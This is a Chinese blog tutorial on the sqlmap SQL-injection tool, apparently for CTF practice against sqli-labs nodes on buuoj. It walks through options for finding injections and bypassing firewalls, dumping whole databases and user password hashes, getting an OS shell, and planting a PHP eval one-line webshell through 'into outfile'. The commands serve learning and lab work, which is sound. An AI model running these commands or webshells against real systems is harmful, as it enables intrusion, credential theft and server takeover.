sqlmap的使用

sqlmap的使用

作用

可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

工作流程

1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库

2)尝试各种类型的注入

各种参数

1、-u

用于一个url扫描

sqlmap -u "url带参数"

2、-m

用于多个url扫描,但是文件每一行只能有一个url

sqlmap -m 1. txt

3、-r

用于post注入,在要测试注入的参数后面加*

sqlmap -r 1.txt

直接写,工具会自动识别

4、-v

用于显示信息,默认为1,一般用3和4,都要背

0、只显示python错误以及严重的信息。

1、 同时显示基本信息和警告信息。(默认等级)

2、 同时显示debug信息。

3、 同时显示注入的payload。

4、 同时显示HTTP请求。

5、 同时显示HTTP响应头。

6、 同时显示HTTP响应页面。

5、--level

用于测请求头,但不想抓包,如果抓包可以直接加*的

sqlmap -r 1.txt --level=3

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

6、--data

用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包

sqlmap -u "url" --data="id=1"

7、--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"

8、--user-agent

用于手动指定伪造一个User-Agent

sqlmap -u "url" --level 3 --user-agent="xxx"

9、--random-agent

用于随机生成UA,不过运行一次命令只能生成同一个UA

sqlmap -u "url" --level 3 --random-agent

10、--referer

用于手动指定伪造一个referer

sqlmap -u "url/?id=1" --referer="http://www.baidu.com"

11、-p

用于测试指定参数,和*,--level一样

sqlmap -u "url/?id=1" -p "id,user-angent"

12、--risk

共有三个风险等级,1-3:

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

sqlmap -u "url/?id=1" --risk=2

13、数据

-D 数据库名

-T 表名

-C 字段名

python sqlmap.py -u url -D ctftraining -T flag -C flag --dump

14、查询当前用户和密码

复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1   --users --passwords   


15、--os-cmd

用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell

python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig

执行结果:

该命令的原理就是写入木马,然后getshell

py 复制代码
id=1' union select '<?php  eval($_POST[1]);?>' into outfile '网站路径/文件名'

路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令

16、--os-shell

反弹交互shell

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1     --os-shell  


当页面出现os-shell时,就是已经连接成功了

17、--tamper

用于绕过防火墙

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1  --tamper  加需要的脚本名字

一句话木马

php 复制代码
<?php  eval($_POST["a"]);?>

eval是用于将字符串当成php代码执行

可在url上输入命令,来运行

php 复制代码
?a=echo `ipconfig`;
相关推荐
唐青枫2 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
掉头发的王富贵4 天前
【StarRocks】极限十分钟入门StarRocks
数据库·sql·mysql
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
zzzzzz3109 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
云技纵横11 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
鹏仔先生13 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下13 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php